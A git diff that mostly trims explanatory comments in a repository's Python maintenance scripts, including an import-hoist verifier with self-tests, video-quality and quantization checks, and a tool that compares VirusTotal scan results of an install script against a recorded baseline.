@@ -66,10 +66,7 @@ backends = {
"CUDNN": [SDPBackend.CUDNN_ATTENTION],
}
-# The default dispatch's own dense output, so each forced backend can be checked against it.
-# Timings alone cannot say WHICH backend the dispatcher picked, because forcing one adds sdpa_kernel overhead and two
-# different kernels can land at similar times. Bitwise identity can: the forced backend that reproduces this tensor
-# exactly is the one the dispatcher chose.
+# Bitwise identity with the default dispatch tells which backend the dispatcher chose.
try:
reference = F.scaled_dot_product_attention(q, k, v, attn_mask = dense)
except Exception: # noqa: BLE001 -- no reference: the identity column just reports n/a
diff --git a/scripts/sparse_accum_probe.py b/scripts/sparse_accum_probe.py
index 71dbd3c2af3..2acb50e704c 100644
--- a/scripts/sparse_accum_probe.py
+++ b/scripts/sparse_accum_probe.py
@@ -168,7 +168,7 @@ def main(argv = None) -> int:
except Exception as exc: # noqa: BLE001
note += f" [compile FAILED {type(exc).__name__}]"
print(f" [{tag}]{note}", flush = True)
- _gen(pipe, steps, seed, res) # warmup / compile
+ _gen(pipe, steps, seed, res)
dts = []
img = None
for _ in range(args.iters):
diff --git a/scripts/stamp_studio_release.py b/scripts/stamp_studio_release.py
index 0cc8820a812..684fbc54750 100644
--- a/scripts/stamp_studio_release.py
+++ b/scripts/stamp_studio_release.py
@@ -28,10 +28,7 @@ def _atomic_write_text(
path.parent.mkdir(parents = True, exist_ok = True)
fd, tmp_path = tempfile.mkstemp(prefix = ".stamp_studio.", dir = dirpath)
try:
- # newline = "\n": the target is studio/backend/utils/_studio_release_build.py, a TRACKED
- # .py file that .gitattributes pins to `text eol=lf`, and `data` is a Python string
- # literal carrying LF. The default newline translates each "\n" to os.linesep, so a
- # release stamped on Windows landed CRLF and showed as a whole-file diff.
+ # newline="\n": the target is a tracked .py pinned to LF by .gitattributes.
with os.fdopen(fd, "w", encoding = encoding, newline = "\n") as handle:
handle.write(data)
handle.flush()
diff --git a/scripts/sync_allow_scripts_pins.py b/scripts/sync_allow_scripts_pins.py
index d180f74b847..bd6508be1f0 100644
--- a/scripts/sync_allow_scripts_pins.py
+++ b/scripts/sync_allow_scripts_pins.py
@@ -132,11 +132,7 @@ def main(argv: list[str] | None = None) -> int:
return 1
pkg["allowScripts"] = {renames.get(k, k): v for k, v in policy.items()}
- # newline = "\n", not the default None, which translates every "\n" to os.linesep. This is a
- # pre-commit hook running --fix on studio/frontend/package.json, and .gitattributes pins that
- # file to LF (`studio/frontend/** text=auto eol=lf`), so on Windows the default turned a
- # two-line pin bump into a whole-file CRLF rewrite. open() rather than write_text(newline =):
- # write_text only grew `newline` in 3.10 and pyproject still says requires-python >= 3.9.
+ # newline="\n" keeps package.json LF on Windows; write_text(newline=) needs Python 3.10.
with open(pkg_path, "w", encoding = "utf-8", newline = "\n") as handle:
handle.write(json.dumps(pkg, indent = 2, ensure_ascii = False) + "\n")
print(
diff --git a/scripts/sync_shared_ps1_helpers.py b/scripts/sync_shared_ps1_helpers.py
index 3d887c91f3c..d21df9210a0 100644
--- a/scripts/sync_shared_ps1_helpers.py
+++ b/scripts/sync_shared_ps1_helpers.py
@@ -92,13 +92,10 @@ def main() -> int:
setup_text = setup_text[:setup_start] + wanted + setup_text[setup_end:]
previous = name
continue
- # New helper. Land it where install.ps1 keeps it, after the one before
- # it, with the comment block that explains it.
+ # New helper: insert it after the one before it in install.ps1, with its comment block.
if previous is None:
raise SystemExit(f"{name} is new and has nothing to follow in setup.ps1")
- # dedented() drops the trailing newline, so the comment would otherwise
- # run into the function keyword and hide the declaration from every
- # reader of this file, this script included.
+ # dedented() drops the trailing newline, which would glue the comment to the function keyword.
comment = dedented(install_text[leading_comment_start(install_text, start) : start])
comment = comment.rstrip("\n") + "\n" if comment else ""
_, after = function_span(setup_text, previous)
diff --git a/scripts/verify_import_hoist.py b/scripts/verify_import_hoist.py
index 1d0c8b92936..d24a62e3f9e 100644
--- a/scripts/verify_import_hoist.py
+++ b/scripts/verify_import_hoist.py
@@ -87,7 +87,7 @@ _BUILTINS = set(dir(builtins)) | {
@dataclass
class Binding:
kind: str # 'import' | 'importfrom' | 'def' | 'class' | 'other'
- target: str | None = None # canonical import target id, else None
+ target: str | None = None
@dataclass
@@ -126,8 +126,8 @@ class _Builder(ast.NodeVisitor):
def __init__(self):
self.module = Scope("module", "<module>", None)
- self.uses: list[tuple[Scope, str, int]] = [] # hard loads
- # annotations: count as "used" but never as "unresolved" (forward refs)
+ self.uses: list[tuple[Scope, str, int]] = []
+ # Annotations count as used but never unresolved (forward refs).
self.soft_uses: list[tuple[Scope, str, int]] = []
# `Optional["Dict[str, 'T']"]` is two deep; nothing real goes further.
@@ -149,8 +149,7 @@ class _Builder(ast.NodeVisitor):
"""
if node is None:
return
- # Literal[...] holds values, not type names. Skipping its args is what keeps this from crediting an
- # unrelated import, the one direction that loses a real finding.
+ # Literal[...] holds values, not type names; crediting them would hide a real finding.
if isinstance(node, ast.Subscript) and _is_literal_ref(node.value):
self._visit_annotation(node.value, scope, _depth, _lineno)
return
@@ -160,7 +159,7 @@ class _Builder(ast.NodeVisitor):
try:
inner = ast.parse(node.value.strip(), mode = "eval").body
except (SyntaxError, ValueError):
- return # Prose, as in Annotated[int, "docs"]. Nothing to credit.
+ return
self._visit_annotation(inner, scope, _depth + 1, _lineno or node.lineno)
return
if isinstance(node, ast.Name) and isinstance(node.ctx, ast.Load):
@@ -210,14 +209,13 @@ class _Builder(ast.NodeVisitor):
return
if isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef)):
self._bind_name(scope, node.name, Binding("def"))
- # decorators / defaults evaluate in the ENCLOSING scope
+ # Decorators and defaults evaluate in the enclosing scope.
for d in node.decorator_list:
self._visit_expr(d, scope)
self._visit_arg_defaults(node.args, scope)
child = Scope("function", f"{scope.qualname}.{node.name}", scope)
self._bind_type_params(node, child)
self._bind_args(node.args, child)
- # arg + return annotations: soft uses
for a in self._all_args(node.args):
self._visit_annotation(a.annotation, child)
self._visit_annotation(getattr(node, "returns", None), child)
@@ -243,7 +241,7 @@ class _Builder(ast.NodeVisitor):
self._visit_expr(case.guard, scope)
self._visit_body(case.body, scope)
return
- if isinstance(node, getattr(ast, "TryStar", ())): # py3.11 except*
+ if isinstance(node, getattr(ast, "TryStar", ())):
self._visit_body(node.body, scope)
for h in node.handlers:
if h.type is not None:
@@ -254,7 +252,7 @@ class _Builder(ast.NodeVisitor):
self._visit_body(node.orelse, scope)
self._visit_body(node.finalbody, scope)
return
- if isinstance(node, getattr(ast, "TypeAlias", ())): # py3.12 `type X = ...`
+ if isinstance(node, getattr(ast, "TypeAlias", ())):
if isinstance(node.name, ast.Name):
self._bind_name(scope, node.name.id, Binding("other"))
self._visit_annotation(node.value, scope)
@@ -268,12 +266,10 @@ class _Builder(ast.NodeVisitor):
self._visit_annotation(node.annotation, scope)
for t in targets:
self._bind_targets(scope, t)
- # AugAssign target is also a load
if isinstance(node, ast.AugAssign):
self._record_loads(t, scope)
else:
- # A subscript or attribute target LOADS everything but the outermost
- # binding: `overrides[dependency] = fn` reads both names.
+ # `overrides[dependency] = fn` loads both names.
if not isinstance(t, ast.Name):
self._record_loads(t, scope)
return
@@ -386,7 +382,7 @@ class _Builder(ast.NodeVisitor):
if isinstance(node, (ast.ListComp, ast.SetComp, ast.GeneratorExp, ast.DictComp)):
child = Scope("comp", f"{scope.qualname}.<comp>", scope)
for i, gen in enumerate(node.generators):
- # first iterable evaluates in the enclosing scope
+ # First iterable evaluates in the enclosing scope.
self._visit_expr(gen.iter, scope if i == 0 else child)
self._bind_targets(child, gen.target)
for cond in gen.ifs:
@@ -471,7 +467,7 @@ def _legb_chain(scope: Scope) -> list[Scope]:
chain = [scope]
p = scope.parent
while p is not None:
- if p.kind != "class" or p.parent is None: # skip class scopes, keep module
+ if p.kind != "class" or p.parent is None:
if p.kind != "class":
chain.append(p)
p = p.parent
@@ -496,7 +492,6 @@ def _analyze(src: str):
tids = {bd.target for bd in binds if bd.target}
targets_by_scope.setdefault(scope.qualname, set()).update(tids)
target_by_use.setdefault((scope.qualname, name), set()).update(tids)
- # soft uses (annotations): contribute to "used" only, never "unresolved"
for scope, name, _ln in b.soft_uses:
status, binds = _resolve(scope, name)
if status == "import":
@@ -523,7 +518,6 @@ def _analyze(src: str):
):
ambiguous.setdefault(scope.qualname, set()).add(n)
- # scope tree isn't stored; approximate with module only.
walk_scopes(module)
return {
"unresolved": unresolved,
@@ -582,7 +576,6 @@ def compare(before_src: str, after_src: str, path: str) -> list[tuple[str, str]]
after_module_targets |= tids
added_module_targets = after_module_targets - before_module_targets
- # 1. UNRESOLVED-NEW
for scope, names in b["unresolved"].items():
new = names - a["unresolved"].get(scope, set())
for n in sorted(new):
@@ -594,22 +587,14 @@ def compare(before_src: str, after_src: str, path: str) -> list[tuple[str, str]]
)
)
- # 2. HOISTED-IMPORT-UNUSED (core botched-hoist / wrong-rename signal)
- # A module-level import in AFTER that NO load resolves to, that was either newly added by this change OR
- # actually used before. Excludes relocation and stable re-exports.
+ # Module-level import no load resolves to, that is new or was used before.
for n, tids in b["module_import_targets"].items():
if tids & after_used:
- continue # resolved -> fine
- # `from __future__ import ...` is a compiler directive, not a runtime binding: the name is
- # never loaded, so it can never "resolve" to a use. Skip it so a legitimately-added future
- # import (e.g. `annotations` for lazy PEP 604 on py3.9) is not flagged.
+ continue
+ # __future__ imports are compiler directives and never loaded.
if all(t.startswith("from:__future__:") for t in tids):
continue
- # A name listed in __all__ in a package __init__ is an intentional public re-export: it is loaded by importers,
- # not by this module, so "no load resolves to it here" is expected.
- # Scoped to __init__.py deliberately: applied to every module defining __all__ it exempts 224 names across 27
- # non-package modules and disables rename-clash detection for them, one of the two bugs this tool exists to
- # catch.
+ # __all__ re-exports are exempt only in package __init__.py; broader would hide rename clashes.
if n in after_exported and _is_package_init(path):
continue
newly_added = bool(tids - before_module_targets)
@@ -628,13 +613,7 @@ def compare(before_src: str, after_src: str, path: str) -> list[tuple[str, str]]
)
)
- # 3. TARGET-CHANGED (same scope+name resolves to a different import target)
- # Only a *swap* is dangerous: a BEFORE target no longer reachable in AFTER means a reference was silently
- # re-pointed. A pure superset growth (tbefore <= tafter) is the benign `import pkg.subA` + `import pkg.subB`
- # case: both bind the same top-level name and only add submodule attributes, so nothing is lost, skip it.
- # A deliberate *relocation* is also benign: when a name keeps its spelling but its import source moves A -> B in
- # THIS diff, the swap is intentional, not a silent re-point. The dangerous case, resolving to a target that
- # already existed before (shadow/clash), is NOT exempted.
+ # Only a swap is dangerous; superset growth and an in-diff relocation are benign.
removed_module_targets = before_module_targets - after_module_targets
for key, tafter in b["target_by_use"].items():
tbefore = a["target_by_use"].get(key)
@@ -652,7 +631,6 @@ def compare(before_src: str, after_src: str, path: str) -> list[tuple[str, str]]
)
)
- # 4. MODULE-DUP-IMPORT introduced
for n in sorted(b["module_dup"] - a["module_dup"]):
findings.append(
(
@@ -662,14 +640,12 @@ def compare(before_src: str, after_src: str, path: str) -> list[tuple[str, str]]
)
)
- # 5. AMBIGUOUS-BIND introduced (module scope)
for scope, names in b["ambiguous"].items():
new = names - a["ambiguous"].get(scope, set())
for n in sorted(new):
findings.append(("WARN", f"{path}: AMBIGUOUS-BIND '{n}' import+non-import in {scope}"))
- # 6. TARGET-MISSING (informational): a scope stopped resolving to an import target. Real bugs are covered above;
- # remaining cases are relocated code.
+ # Informational: remaining cases are relocated code.
for scope, tbefore in a["targets_by_scope"].items():
tafter = b["targets_by_scope"].get(scope, set())
for t in sorted(tbefore - tafter):
@@ -683,21 +659,16 @@ def compare(before_src: str, after_src: str, path: str) -> list[tuple[str, str]]
# ---------------------------------------------------------------- self-test
-
_SELF_TESTS = {
"dangling_alias": (
- # before: inline aliased import, used as _b
"import os\ndef f():\n import glob as _b\n return _b.glob('*')\n",
- # after: hoisted to canonical, but reference NOT normalized -> _b dangles
"import os\nimport glob\ndef f():\n return _b.glob('*')\n",
"BLOCKER",
),
"rename_clash": (
- # before: _b is a deliberate alias; `b` already means something else
"import re as _b\nb = 123\ndef f():\n return _b.compile('x'), b\n",
- # after: someone normalized _b -> b ; now f().b is the int, re is lost
"import re\nb = 123\ndef f():\n return b.compile('x'), b\n",
- "BLOCKER", # TARGET-MISSING from:.. or import:re in f
+ "BLOCKER",
),
"clean_rename": (
"def f():\n import glob as _g\n return _g.glob('*')\n",
@@ -715,13 +686,11 @@ _SELF_TESTS = {
"BLOCKER",
),
"local_var_clash": (
- # _b renamed to b, but b is a LOCAL var in f -> import silently unused
"def f(b):\n import re as _b\n return _b.compile(b)\n",
- "import re\ndef f(b):\n return b.compile(b)\n", # 'b' is the param, not the module
+ "import re\ndef f(b):\n return b.compile(b)\n",
"BLOCKER",
),
"substring_safe": (
- # correct _copy->copy rename while config_copy var exists: NO false positive
"def f(config):\n"
" import copy as _copy\n"
" config_copy = _copy.deepcopy(config)\n"
@@ -733,7 +702,6 @@ _SELF_TESTS = {
None,
),
"attr_access_not_a_use": (
- # x._b is attribute access, not a use of name _b; removing import _b is fine
"import os\ndef f(x):\n import sys as _b\n return x._b + _b.argv[0]\n",
"import os\nimport sys\ndef f(x):\n return x._b + sys.argv[0]\n",
None,
@@ -756,7 +724,6 @@ _SELF_TESTS = {
"BLOCKER",
"pkg/__init__.py",
),
- # A TYPE_CHECKING import reached only through a forward reference IS used.
"forward_ref_string_annotation_counts_as_a_use": (
"from typing import TYPE_CHECKING, Optional\ndef f(x) -> Optional[int]:\n return x\n",
"from typing import TYPE_CHECKING, Optional\n"
@@ -766,7 +733,6 @@ _SELF_TESTS = {
" return x\n",
None,
),
- # Two strings deep; each layer is parsed.
"nested_forward_ref_counts_as_a_use": (
"from typing import TYPE_CHECKING, Optional\ndef f(x) -> Optional[int]:\n return x\n",
"from typing import TYPE_CHECKING, Optional\n"
@@ -776,7 +742,6 @@ _SELF_TESTS = {
" return x\n",
None,
),
- # `app.dependency_overrides[dep] = lambda: ...` is how FastAPI route tests are written.
"a_subscript_key_on_the_left_hand_side_is_a_use": (
"app = {}\n",
"from .deps import dependency\napp = {}\napp[dependency] = 1\n",
@@ -792,7 +757,6 @@ _SELF_TESTS = {
"from .deps import settings\ndef f(v):\n settings.value = v\n",
None,
),
- # The other direction: Literal['T'] is a VALUE, so it must NOT credit an import T.
"a_literal_value_is_not_a_use_of_that_name": (
"from typing import TYPE_CHECKING, Literal\ndef f(x) -> Literal['a']:\n return x\n",
"from typing import TYPE_CHECKING, Literal\n"
@@ -802,7 +766,6 @@ _SELF_TESTS = {
" return x\n",
"BLOCKER",
),
- # Prose is not a type, and a parse error there is not a finding.
"unparseable_annotation_string_is_ignored": (
"from typing import Annotated\ndef f(x: Annotated[int, 'ok']) -> int:\n return x\n",
"from typing import Annotated\n"
@@ -816,7 +779,6 @@ _SELF_TESTS = {
def _self_test() -> int:
ok = True
for name, case in _SELF_TESTS.items():
- # A case may supply its own path; the __all__ skip is scoped to package __init__.py.
before, after, expect = case[0], case[1], case[2]
path = case[3] if len(case) > 3 else f"<{name}>"
findings = compare(before, after, path)
@@ -953,7 +915,7 @@ def main() -> int:
print(f"SKIP {path}: not found at {args.after}")
continue
if before is None:
- before = "" # new file
+ before = ""
findings = compare(before, after, path)
blockers = [f for f in findings if f[0] == "BLOCKER"]
warns = [f for f in findings if f[0] == "WARN"]
diff --git a/scripts/verify_prequant_backend.py b/scripts/verify_prequant_backend.py
index 17d9b605260..cb7e513c56a 100644
--- a/scripts/verify_prequant_backend.py
+++ b/scripts/verify_prequant_backend.py
@@ -100,8 +100,7 @@ def run(mode, steps, seed, res):
torch.cuda.empty_cache()
if mode == "prequant":
- # Local checkpoints are refused unless allowlisted;
- # CKPT is operator-supplied and trusted.
+ # CKPT is operator-supplied and trusted, so allowlist its directory.
ckpt_dir = os.path.dirname(os.path.realpath(CKPT))
existing = os.environ.get(ALLOW_LOCAL_PREQUANT_PATH_ENV, "")
os.environ[ALLOW_LOCAL_PREQUANT_PATH_ENV] = (
@@ -128,7 +127,7 @@ def run(mode, steps, seed, res):
load_peak = torch.cuda.max_memory_allocated() / 1e9
marker = getattr(transformer, "_unsloth_runtime_quant", None)
print(f"[prequant] load_gpu_peak={load_peak:.1f} GB marker={marker}", flush = True)
- else: # runtime
+ else:
transformer = transformer_cls.from_pretrained(
BASE, subfolder = "transformer", torch_dtype = torch.bfloat16
).to("cuda")
@@ -139,7 +138,6 @@ def run(mode, steps, seed, res):
scheme = quantize_transformer(pipe, _target(torch.bfloat16), mode = "fp8", logger = LOGGER)
load_peak = torch.cuda.max_memory_allocated() / 1e9
print(f"[runtime] engaged={scheme} load_gpu_peak={load_peak:.1f} GB", flush = True)
- # Persist the dense reference peak so a later prequant run can enforce its VRAM win.
_RUNTIME_PEAK_FILE.write_text(f"{load_peak:.6f}")
img, dt = _gen(pipe, steps, seed, res)
@@ -150,7 +148,6 @@ def run(mode, steps, seed, res):
if mode != "prequant":
return 0
- # Enforce both invariants so a broken checkpoint fails loudly instead of merely completing.
ref_path = OUT / "runtime.png"
if not ref_path.exists():
print("FAIL: runtime reference image missing; run --mode runtime first", flush = True)
diff --git a/scripts/video_quality.py b/scripts/video_quality.py
index 6325de63fbf..045ce12cef5 100644
--- a/scripts/video_quality.py
+++ b/scripts/video_quality.py
@@ -35,8 +35,6 @@ DEFAULT_PROMPT = (
# Finite PSNR (dB) cap for an identical clip, matching scripts/diffusion_quality.py.
_PERFECT_MATCH_PSNR = 100.0
-
-
# ── frame metrics (pure numpy; frames are uint8 HxWx3 arrays) ────────────────
@@ -118,12 +116,11 @@ def clip_metrics(
"""All frame metrics for one candidate clip vs the reference clip."""
import numpy as np
- # A truncated candidate is gated FAIL, not prefix-compared: good early frames would mask the missing tail.
+ # A truncated candidate fails: good early frames would mask the missing tail.
ref_count, cand_count = len(ref_frames), len(cand_frames)
frame_count_mismatch = ref_count != cand_count
n = min(ref_count, cand_count)
if n == 0:
- # An empty/corrupt decode must gate as FAIL, not crash the whole run.
return {
"frames_compared": 0,
"ref_frame_count": ref_count,
@@ -166,7 +163,7 @@ def audio_metrics(ref_audio: Optional[Any], cand_audio: Optional[Any]) -> dict[s
return float(np.sqrt((arr**2).mean())) if arr.size else 0.0
ref_rms, cand_rms = _rms(ref_audio), _rms(cand_audio)
- # NaN compares False against any threshold, so call it out: a NaN track is a collapse.
+ # NaN compares False against any threshold, so flag it as a collapse.
silent_collapse = (
ref_rms is not None
and ref_rms >= 1e-3
@@ -192,8 +189,6 @@ def verdict(metrics: dict[str, Any], audio: dict[str, Any]) -> str:
# ── mp4 decode (PyAV, same dependency the backend encodes with) ─────────────
-
-
def decode_mp4(mp4_bytes: bytes, workdir: Path, name: str) -> tuple[list[Any], Optional[Any]]:
"""Frames (uint8 arrays) + mono audio samples (float array or None) from bytes."""
import av
@@ -253,8 +248,7 @@ def run_config(
"attention_backend": spec.get("attention_backend"),
"transformer_cache": spec.get("transformer_cache"),
"transformer_quant": spec.get("transformer_quant"),
- # On MiniMax-H3 the conditioner precision is a backend default, so "the released bfloat16 encoder" is a spec
- # value rather than the absence of one.
+ # MiniMax-H3 precision is a backend default, so the bfloat16 encoder is a spec value, not absence.
"text_encoder_quant": spec.get("text_encoder_quant"),
}
t0 = time.monotonic()
@@ -364,8 +358,6 @@ def run_gate(args: Any) -> int:
# ── selftest (CPU-only, synthetic clips, no torch/model) ────────────────────
-
-
def selftest() -> int:
import numpy as np
@@ -416,7 +408,6 @@ def selftest() -> int:
shifted = clip_metrics(ref, make_clip(offset = 0.5))
check(shifted["ssim_mean"] < same["ssim_mean"], "content shift lowers ssim")
- # A truncated render with a pixel-identical prefix must still FAIL on the frame-count mismatch.
truncated = clip_metrics(ref, make_clip()[: n // 2])
check(
truncated["frame_count_mismatch"] is True
diff --git a/scripts/virustotal_delta.py b/scripts/virustotal_delta.py
index f7406782a62..f9734c27ef3 100644
--- a/scripts/virustotal_delta.py
+++ b/scripts/virustotal_delta.py
@@ -59,14 +59,9 @@ from virustotal_scan import ( # noqa: E402
)
-# The revision reported in #10805, hashed from this repository's own history rather than copied from
-# the report: `git show 1ad44677d:install.ps1 | sha256sum` gives exactly this, at exactly the 427,113
-# bytes the sample is recorded as. That is what makes it the file that user actually ran, and a test
-# recomputes it rather than trusting this constant.
+# `git show 1ad44677d:install.ps1 | sha256sum`; a test recomputes it.
BASELINE_SHA256 = "ec29980bffff30740f876f4955d890e0f1a1c9fd681521be6fbfccd24ffae296"
-# What the baseline scored, recorded so a run can say "unchanged" or "moved" without a second network
-# call, and so a reader can sanity-check the live answer against what we believed.
BASELINE_NOTE = (
"install.ps1 at 1ad44677d: 1 malicious / 58 undetected, Skyhigh "
"BehavesLike.PS.Suspicious.gr; 17 Sigma rules (1 high, 11 medium, 5 low); 2 YARA hits"
@@ -85,9 +80,7 @@ class Snapshot:
size: int = 0
first_seen: str = ""
engines: list[str] = field(default_factory = list)
- # Every engine that returned a verdict of ANY kind. Needed because an engine missing from the
- # candidate's results has not cleared it -- it did not look -- and a set difference against the
- # flagging engines alone cannot tell those two apart.
+ # An engine absent from the candidate's results has not cleared it.
responders: set[str] = field(default_factory = set)
malicious: int = 0
suspicious: int = 0
@@ -109,10 +102,7 @@ def sha256_of(path: Path) -> str:
return digest.hexdigest()
-# The only categories that mean "this engine looked and did not object". `timeout`,
-# `confirmed-timeout`, `failure` and `type-unsupported` are all entries an engine can return without
-# having reached a verdict, and treating them as answers is the same mistake as treating absence as
-# one: it lets a detection be reported as cleared by an engine that never decided.
+# timeout, failure and type-unsupported are not verdicts.
CONCLUSIVE_CLEAN = ("undetected", "harmless")
@@ -142,7 +132,7 @@ def count_all_verdicts(raw: object, stats) -> int:
return stats.total
total = 0
for value in raw.values():
- # Booleans are ints in Python and would each add one; VirusTotal sends counts, not flags.
+ # bool is an int in Python; VirusTotal sends counts.
if isinstance(value, bool) or not isinstance(value, (int, float)):
continue
total += int(value)
@@ -159,11 +149,7 @@ def parse_sigma(raw: object) -> dict[str, int]:
if not isinstance(raw, dict):
return {}
out: dict[str, int] = {}
- # Every bucket VirusTotal reports, not only the four this tool knows how to rank. Iterating a
- # fixed key list is what the docstring above warns about and then did anyway: a candidate that
- # gained rules only in a renamed or newly added bucket produced a dictionary identical to the
- # baseline's, so compare() called Sigma unchanged and the run exited 0 on a regression.
- # Unrankable buckets are kept here and handled separately in compare().
+ # Every bucket, including unknown ones, so a renamed bucket cannot hide a regression.
for key, value in raw.items():
if not isinstance(key, str):
continue
@@ -181,10 +167,7 @@ def parse_yara(raw: object) -> list[str]:
for entry in raw:
if not isinstance(entry, dict):
continue
- # Ruleset AND rule. Two crowdsourced rulesets can carry the same rule identifier, and
- # keying on the rule alone let a candidate gain a hit from a different ruleset while the
- # parsed list stayed equal to the baseline's, so the comparison reported YARA unchanged and
- # the run exited 0.
+ # Keyed on ruleset AND rule: rule ids collide across rulesets.
rule = entry.get("rule_name")
ruleset = entry.get("ruleset_name")
parts = [p for p in (ruleset, rule) if isinstance(p, str) and p]
@@ -220,17 +203,12 @@ def snapshot_from_payload(label: str, sha256: str, payload: object) -> Snapshot:
snap.first_seen = str(first) if first else ""
if snap.total_engines == 0:
- # Zero verdicts of any kind means no engine has run, which is not the same as every engine
- # having cleared it. Recorded so the verdict below can refuse to call it clean.
+ # Zero verdicts means not analysed, not clean.
snap.note = "no engine verdicts at all: the file is known but has not been analysed"
return snap
-# Below the 20 minutes the workflow gives the whole job. Without a deadline one lookup can spend
-# four 300-second socket attempts plus 20, 40 and 80 second backoffs, so the baseline alone can eat
-# the budget and the runner kills the step before it fetches the candidate or writes its summary --
-# which is a lost run rather than a reported one. `request` checks this BEFORE each attempt, because
-# a single attempt can block for the full socket timeout.
+# Under the job's 20 minutes; retries and backoffs could otherwise eat the whole budget.
LOOKUP_BUDGET_SECONDS = 420.0
@@ -248,10 +226,7 @@ def fetch(
deadline = deadline,
)
except (RuntimeError, TimeoutError) as exc:
- # The retry budget or the deadline is spent. VOID, not clean and not a crash: we did not
- # find out, and the summary has to say so while there is still time to write it.
- # Both are needed: a spent retry budget raises RuntimeError, but a spent deadline raises
- # TimeoutError, which is an OSError and would otherwise walk straight past this handler.
+ # VOID, not clean. A spent deadline raises TimeoutError (an OSError), not RuntimeError.
snap = Snapshot(label = label, sha256 = sha256)
snap.note = f"the lookup did not complete within its budget: {exc}"
return snap
@@ -267,10 +242,7 @@ def fetch(
# ---------------------------------------------------------------------------
-# The verdict
# ---------------------------------------------------------------------------
-
-
@dataclass
class Delta:
void: list[str] = field(default_factory = list)
@@ -279,9 +251,7 @@ class Delta:
same: list[str] = field(default_factory = list)
def exit_code(self) -> int:
- # 3 = could not measure, 2 = worse than baseline, 0 = same or better. Distinct, because a
- # tool whose "we could not look" is spelled the same as "it got worse" is unreadable, and one
- # whose "we could not look" is spelled the same as "it is fine" is dangerous.
+ # 3 = could not measure, 2 = worse, 0 = same or better; kept distinct on purpose.
if self.void:
return 3
if self.worse:
@@ -309,22 +279,16 @@ def compare(baseline: Snapshot, candidate: Snapshot) -> Delta:
if candidate.found and candidate.total_engines == 0:
delta.void.append(f"the candidate has no engine verdicts: {candidate.note}")
if baseline.found and baseline.total_engines == 0:
- # Same guard, same reason, other side. A baseline VirusTotal knows but has never analysed
- # carries no engines, no Sigma and no YARA, so every finding on the candidate reads as newly
- # introduced and the run exits 2 while having compared against nothing at all.
+ # An unanalysed baseline would make every candidate finding look new.
delta.void.append(f"the baseline has no engine verdicts: {baseline.note}")
if delta.void:
return delta
- # Engines, by name. A count alone hides the case that matters most: the same number of
- # detections, but a different and more widely deployed engine.
+ # By name: same count from a different engine matters.
base_engines = {e.split(" (")[0] for e in baseline.engines}
cand_engines = {e.split(" (")[0] for e in candidate.engines}
new_engines = sorted(cand_engines - base_engines)
- # An engine that flagged the baseline and is simply ABSENT from the candidate's results has not
- # cleared it: it did not evaluate it. Older or sparser analyses do this routinely, and counting
- # it as an improvement is how a vendor that never looked turns into a vendor that passed us.
- # Only an engine that answered on the candidate, and answered without flagging, has cleared it.
+ # Only an engine that answered on the candidate without flagging has cleared it.
cleared = base_engines & candidate.responders - cand_engines
silent = base_engines - candidate.responders
gone_engines = sorted(cleared)
@@ -339,8 +303,6 @@ def compare(baseline: Snapshot, candidate: Snapshot) -> Delta:
f"{', '.join(gone_engines)}"
)
if silent:
- # Not an improvement and not a regression: an unanswered question. Reported so the summary
- # cannot read as though the vendor that matters most had cleared us.
delta.same.append(
f"engines that flagged the baseline and returned no verdict at all on the candidate, "
f"so they have NOT cleared it: {', '.join(sorted(silent))}"
@@ -351,12 +313,7 @@ def compare(baseline: Snapshot, candidate: Snapshot) -> Delta:
f"{': ' + ', '.join(sorted(cand_engines)) if cand_engines else ''})"
)
- # Sigma, per severity and in severity ORDER. Trading one high for three lows is an improvement
- # and a total would call it a regression; the reverse is a regression a total would call an
- # improvement. Reporting each bucket independently does not express that either: a trade moves
- # two buckets in opposite directions, so it lands in `worse` and in `better` at once, and
- # exit_code answers `worse`. SEVERITIES is ordered most severe first, so the most severe bucket
- # that moved is the one that decides; the rest are reported alongside it and do not flip it.
+ # Sigma by severity order: the most severe bucket that moved decides the verdict.
movements = [
(severity, baseline.sigma.get(severity, 0), candidate.sigma.get(severity, 0))
for severity in SEVERITIES
@@ -376,12 +333,7 @@ def compare(baseline: Snapshot, candidate: Snapshot) -> Delta:
f"{detail}"
)
- # Buckets this tool cannot place in the severity order, which is what a VirusTotal rename or
- # addition looks like on the day it happens. They are deliberately kept out of the ordered
- # trade-off above, because that logic depends on knowing which of two buckets is more severe.
- # A rise in one is reported as worse rather than assumed minor: an unrankable bucket could sit
- # anywhere, including above critical, and calling it an improvement is the one answer that
- # cannot be defended.
+ # Unrankable buckets: a rise is reported as worse since they could rank above critical.
unknown = sorted(
(key, baseline.sigma.get(key, 0), candidate.sigma.get(key, 0))
for key in set(baseline.sigma) | set(candidate.sigma)
@@ -417,10 +369,7 @@ def render(baseline: Snapshot, candidate: Snapshot, delta: Delta) -> str:
lines = [
"### VirusTotal delta against the reported baseline",
"",
- # Only when the baseline really IS the recorded one. A dispatch can override the hash, and
- # printing the recorded identity beside an override's live numbers produced an artifact that
- # combined someone else's file with install.ps1's historical scores, which is a delta built
- # to be misattributed.
+ # Only when the baseline is the recorded one; an overridden hash must not borrow its scores.
(
f"Baseline recorded as: {BASELINE_NOTE}"
if baseline.sha256.lower() == BASELINE_SHA256.lower()
@@ -450,10 +399,7 @@ def render(baseline: Snapshot, candidate: Snapshot, delta: Delta) -> str:
if rows:
lines.append(f"**{heading}**")
lines.append("")
- # Escaped here rather than at every append site. Engine names, detection labels and
- # YARA rule names all reach these bullets, all are third-party text, and this is
- # appended to $GITHUB_STEP_SUMMARY where a newline ends the bullet, `|` opens a cell and
- # `<` starts HTML that GitHub renders.
+ # Third-party text into $GITHUB_STEP_SUMMARY: escape newlines, | and <.
lines.extend(f"- {_md_text(row)}" for row in rows)
lines.append("")
if not delta.void and not delta.worse and not delta.better:
@@ -463,12 +409,8 @@ def render(baseline: Snapshot, candidate: Snapshot, delta: Delta) -> str:
# ---------------------------------------------------------------------------
-# Offline self-test
# ---------------------------------------------------------------------------
-
-# Recorded shapes, not live answers, so the comparison logic is testable with no key and no network.
-# This is the half that can be wrong in a way nobody notices: a network call that fails is loud, and
-# a comparison that silently never reports a regression is not.
+# Recorded shapes, not live answers, so the comparison logic is testable offline.
_BASELINE_FIXTURE = {
"data": {
"attributes": {
@@ -534,8 +476,6 @@ def self_test() -> list[str]:
}
swap = snapshot_from_payload("candidate", "e" * 64, swapped)
delta = compare(baseline, swap)
- # Same count, different engine, and vastly more consequential. A count-only comparison calls this
- # unchanged, which is the failure mode this check exists for.
if not delta.worse:
failures.append(
"one engine's detection being replaced by another's was not reported as worse. The "
